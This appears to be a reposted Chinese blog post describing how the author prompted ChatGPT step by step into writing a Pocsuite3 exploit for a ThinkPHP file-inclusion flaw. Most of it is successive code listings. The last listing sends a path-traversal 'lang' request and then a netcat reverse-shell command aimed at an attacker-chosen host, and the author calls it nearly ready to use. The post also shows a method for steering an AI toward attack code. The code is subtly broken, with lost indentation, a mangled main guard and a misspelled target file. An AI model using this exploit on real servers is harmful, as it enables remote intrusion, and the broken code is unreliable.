【超详细】ChatGPT & Pocsuite3梦幻联动快速编写EXP（建议收藏）

luozhenni

​
【超详细】ChatGPT & Pocsuite3梦幻联动快速编写EXP（建议收藏）
原文链接：【超详细】ChatGPT & Pocsuite3梦幻联动快速编写EXP（建议收藏）
aka_zz [url=]渗透Xiao白帽[/url] 2023-02-15 10:35 发表于北京


前言


这一模型可以与人类进行谈话般的交互，可以回答追问，连续性的问题，承认其回答中的错误，指出人类提问时的不正确前提，拒绝回答不适当的问题。
简单来说，ChatGPT是一个AI，能够分析我们题出的问题，并且对此做出解答。可以通过ChatGPT来分析代码，或者让其根据我们的需求写出相应的代码，如下。

​

编辑
所以，我就在想，能不能让它给我们编写poc，简化平时的一个工作，于是便有了这篇文章。


分析

我发现，ChatGPT缓存了当此询问的结果，当我们前后两个问题相似的时候，ChatGPT会去分析两个问题的一个相似度，如果相似度过高，则会返回上一次分析的结果。而且对于有歧义的语句，其处理结果误差比较大，所以我们可以一开始给出一个简单的语句，然后通过逐步的训练，让其结果更加符合我们的预期。


过程


原理
在一开始，最好向CG(ChatGPT的简称)提供漏洞的相关原理，但是由我们直接去叙述，其准确性比较低，因为语言存在歧义，那么，我们可以通过引导的方式，去让CG了解和漏洞有关的信息，比如ThinkPHP最新的漏洞原理是因为多语言模式的开启导致的文件包含，如果我们直接询问。

​

编辑
我们会发现，CG无法为我们解析出来，因为其实在这里lang_switch_on是config.php返回数组中的一个键名，准确来说并不是参数，所以这里解析才会出错。我们知道config.php会返回一个数组，但是CG因为并不会去解析config.php,所以在它并不觉得config.php会返回什么。

​

编辑

但是我们换一种方法，我们询问，

​

编辑

我们会发现，CG给出了我们一个流程，那么在这里，CG就记住了这一答案，当我们在漏洞原理中加入了这句话，那么CG就能正确解析。
分段
当我们直接通过一大段话让其给我们编写程序的时候，你会发现会有很多错误，如下。

​

编辑
根据我上面的发现，我突然想 ，我们可以先给出一个简单的需求，在后面不断基于之前给的答案，增加其准确度就行。如下。
首先，询问是否知道pocsuite，并要求给出一个例子。

​

编辑

1. import pocsuite3
   
2. from pocsuite3.api import requests as req
   
3. from pocsuite3.api import register_poc
   
4. from pocsuite3.api import Output, POCBase
   
5. 
   
6. 
   
7. class TestPOC(POCBase):
   
8.     vulID = '12345'
   
9.     version = '1.0'
   
10.     author = 'test'
    
11.     vulDate = '2022-01-01'
    
12.     createDate = '2022-01-01'
    
13.     updateDate = '2022-01-01'
    
14.     references = ['https://example.com/vul/12345']
    
15.     name = 'Test POC'
    
16.     appPowerLink = 'https://example.com'
    
17.     appName = 'Test'
    
18.     appVersion = '1.0'
    
19.     vulType = 'Test Vul'
    
20.     desc = '''Test POC Description'''
    
21.     samples = ['']
    
22. 
    
23.     def _attack(self):
    
24.         # your code here
    
25.         pass
    
26. 
    
27.     def _verify(self):
    
28.         # your code here
    
29.         result = {}
    
30.         return self.parse_output(result)
    
31. 
    
32.     def parse_output(self, result):
    
33.         output = Output(self)
    
34.         # your code here
    
35.         return output
    
36. 
    
37. 
    
38. def main():
    
39.     register_poc(TestPOC)
    
40. 
    
41. 
    
42. if __name__ == '__main__':
    
43.     main()
    

复制代码

接着，添加对漏洞的描述，要求其改进。

1. import pocsuite3
   
2. from pocsuite3.api import requests as req
   
3. from pocsuite3.api import register_poc
   
4. from pocsuite3.api import Output, POCBase
   
5. 
   
6. 
   
7. class ThinkPHP5_File_Inclusion(POCBase):
   
8.     vulID = '12345'
   
9.     version = '1.0'
   
10.     author = 'test'
    
11.     vulDate = '2022-01-01'
    
12.     createDate = '2022-01-01'
    
13.     updateDate = '2022-01-01'
    
14.     references = ['https://example.com/vul/12345']
    
15.     name = 'ThinkPHP5 File Inclusion Vulnerability'
    
16.     appPowerLink = 'https://thinkphp.cn'
    
17.     appName = 'ThinkPHP'
    
18.     appVersion = '5.0'
    
19.     vulType = 'File Inclusion'
    
20.     desc = '''
    
21.     This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
    
22.     To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
    
23.     and a malicious lang parameter must be passed in the URL.
    
24.     '''
    
25.     samples = ['']
    
26. 
    
27.     def _attack(self):
    
28.         # your code here
    
29.         pass
    
30. 
    
31.     def _verify(self):
    
32.         result = {}
    
33.         # your code here
    
34.         return self.parse_output(result)
    
35. 
    
36.     def parse_output(self, result):
    
37.         output = Output(self)
    

复制代码

这时候，我们再添加一些信息。

​

编辑

1. import pocsuite3
   
2. from pocsuite3.api import requests as req
   
3. from pocsuite3.api import register_poc
   
4. from pocsuite3.api import Output, POCBase
   
5. 
   
6. class ThinkPHP5_File_Inclusion(POCBase):
   
7. vulID = '12345'
   
8. version = '1.0'
   
9. author = 'test'
   
10. vulDate = '2022-12-09'
    
11. createDate = '2022-12-09'
    
12. updateDate = '2022-12-09'
    
13. references = ['https://tttang.com/archive/1865/']
    
14. name = 'ThinkPHP5 File Inclusion Vulnerability'
    
15. appPowerLink = 'https://thinkphp.cn'
    
16. appName = 'ThinkPHP'
    
17. appVersion = '5.0'
    
18. vulType = 'File Inclusion'
    
19. desc = '''
    
20. This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
    
21. To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
    
22. and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
    
23. phearcmd.php file and execute arbitrary commands.
    
24. '''
    
25. samples = ['']
    
26. 
    
27. def _attack(self):
    
28.     # your code here
    
29.     pass
    
30. 
    
31. def _verify(self):
    
32.     result = {}
    
33.     # your code here
    
34.     # send a request with a malicious lang parameter
    
35.     url = self.url + '?lang=../phearcmd.php'
    
36.     r = req.get(url)
    
37. 
    
38.     # check if the phearcmd.php file was included
    
39.     if 'PhearCommand execution' in r.text:
    
40.         result['VerifyInfo'] = {}
    
41.         result['VerifyInfo']['URL'] = url
    
42. 
    
43.     return self.parse_output(result)
    
44. 
    
45. def parse_output(self, result):
    
46.     output = Output(self)
    
47.     if result:
    
48.         output.success(result)
    
49.     else:
    
50.         output.fail('The vulnerability could not be verified')
    
51.     return output
    
52. 
    
53. def main():
    
54. register_poc(ThinkPHP5_File_Inclusion)
    
55. 
    
56. if name == 'main':
    
57. main()
    

复制代码

最后，我们再补充一点。

​

编辑

1. import pocsuite3
   
2. from pocsuite3.api import requests as req
   
3. from pocsuite3.api import register_poc
   
4. from pocsuite3.api import Output, POCBase
   
5. 
   
6. class ThinkPHP5_File_Inclusion(POCBase):
   
7. vulID = '12345'
   
8. version = '1.0'
   
9. author = 'test'
   
10. vulDate = '2022-12-09'
    
11. createDate = '2022-12-09'
    
12. updateDate = '2022-12-09'
    
13. references = ['https://tttang.com/archive/1865/']
    
14. name = 'ThinkPHP5 File Inclusion Vulnerability'
    
15. appPowerLink = 'https://thinkphp.cn'
    
16. appName = 'ThinkPHP'
    
17. appVersion = '5.0'
    
18. vulType = 'File Inclusion'
    
19. desc = '''
    
20. This POC checks for a file inclusion vulnerability in ThinkPHP 5.0.
    
21. To exploit this vulnerability, the LANG_SWITCH_ON value in the config.php file must be set to true,
    
22. and a malicious lang parameter must be passed in the URL. This can allow an attacker to include the
    
23. phearcmd.php file and execute arbitrary commands, including a reverse shell.
    
24. '''
    
25. samples = ['']
    
26. 
    
27. def _attack(self):
    
28.     # your code here
    
29.     # send a request with a malicious lang parameter to include phearcmd.php
    
30.     url = self.url + '?lang=../phearcmd.php'
    
31.     r = req.get(url)
    
32. 
    
33.     # check if the phearcmd.php file was included
    
34.     if 'PhearCommand execution' in r.text:
    
35.         # send a request to execute a reverse shell command
    
36.         command = 'php -r "system(\'nc -e /bin/bash {0} {1}\');"'.format(self.options.get('lhost'), self.options.get('lport'))
    
37.         url = self.url + '?phearcmd=' + command
    
38.         req.get(url)
    
39. 
    
40. def _verify(self):
    
41.     result = {}
    
42.     # your code here
    
43.     return self.parse_output(result)
    
44. 
    
45. def parse_output(self, result):
    
46.     output = Output(self)
    
47.     # no output is necessary for this POC
    
48.     return output
    
49. 
    
50. def main():
    
51. register_poc(ThinkPHP5_File_Inclusion)
    
52. 
    
53. if name == 'main':
    
54. main()
    

复制代码

到这里，基本上就可以拿来改改就能直接使用了。


结论


通过以上的利用和分析，我们能感受到CG的一个强大，当CG对于我们的一个问题的解决结果误差较大的时候，我们可以逐步进行求解，让其引擎对结果进行不断的修正，这样最终的结果误差较小。以上只是一个简单的案例，还有更多的可能等待挖掘。
本文作者：aka_zz， 转载请注明来自FreeBuf.COM
仅用于学习交流，不得用于非法用途
如侵权请私聊公众号删文
[url=]阅读原文[/url]


​